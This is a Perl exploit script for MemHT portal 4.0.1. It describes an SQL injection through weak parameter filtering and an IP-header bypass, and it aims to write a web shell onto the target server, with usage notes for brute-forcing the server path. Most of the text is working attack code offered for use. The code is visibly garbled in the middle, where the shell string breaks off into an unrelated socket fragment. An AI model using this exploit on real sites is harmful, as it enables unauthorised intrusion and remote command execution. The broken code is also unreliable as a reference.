#!/usr/bin/perl =about MemHT 4.0.1 Perl exploit AUTHOR discovered & written by Ams ax330d [doggy] gmail [dot] com VULN. DESCRIPTION: Due to weak params filtering we are able to make SQL-Injection. So, 1. Look at 'inc/ajax/ajax_rating.php', line ~ 29. It is not enough to check whether script has been accessed from main file. Better define some value. 2. 'inc/inc_login.php' line ~ 35. Here we are able to send and bypass any IP. That eregi does not help, look at exploit in injection, comma is the last one. As proof this exploit creates simple shell. REQUIREMENTS: MySQL should be able to write to file Know full server path to portal =cut use strict; use warnings; use IO::Socket; print " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MemHT portal 4.0.1 Perl exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "; my $expl_url = shift or &usage; my $serv_path = shift || '-b'; my $def_shell = '/uploads/file/files.php'; # Simple concept shell my $shell = 'new( Proto => 'tcp', PeerAddr => $host, PeerPort => 80 ); if( ! $socket) { return 0; } else { print $socket $packet; if( $ret ) { local $/; $dat = <$socket>; } close $socket; return $dat; } } sub usage { print "\n\tUsage:\t$0 http://site.com [-b|full server path] By default exlpoit checks /lang/english.php for errors to get real path, If path could not be found exploit will bruteforce it ( or if used -b or none path is specified ). Example:\t$0 http://localhost/ /var/www/htdocs $0 http://localhost/ -b $0 http://localhost/\n\n"; exit; }